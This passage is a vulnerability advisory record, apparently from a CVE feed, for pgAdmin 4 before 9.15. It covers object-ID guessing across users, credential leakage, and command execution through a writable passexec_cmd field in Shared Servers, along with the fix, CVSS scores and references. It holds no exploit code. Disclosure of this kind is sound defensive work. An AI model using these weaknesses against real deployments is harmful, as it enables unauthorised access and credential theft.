An authenticated user could access another user's private servers, server groups, background processes, and debugger function arguments by guessing object IDs.\n\nAdditionally, the Shared Servers feature contained multiple issues including credential leakage (passexec_cmd, passfile, SSL keys), privilege escalation via writable passexec_cmd (a shell command executed when establishing the connection) allowing arbitrary command execution in the owner's process context, and owner-data corruption via SQLAlchemy session mutations. Several owner-only fields (passexec_cmd, passexec_expiration, db_res, db_res_type) were writable by non-owners through the API, and additional fields (kerberos_conn, tags, post_connection_sql) lacked per-user persistence so non-owner edits mutated the owner's record.\n\nFix centralises access control via a new server_access module, scopes all user-owned models with a UserScopedMixin, returns HTTP 410 from connection_manager when access is denied in server mode, suppresses owner-only fields for non-owners across the merge / API response / ServerManager paths, and adds an explicit owner-only write guard. The remediation landed in two pull requests; both are referenced.\n\nThis issue affects pgAdmin 4: before 9.15."}], "metrics": {"cvssMetricV40": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H", "baseScore": 9.9, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.1, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://github.com/pgadmin-org/pgadmin4/pull/9830", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}, {"url": "https://github.com/pgadmin-org/pgadmin4/pull/9835", "source": "f86ef6dc-4d3a-42ad-8f28-e6d5547a5007"}]}}
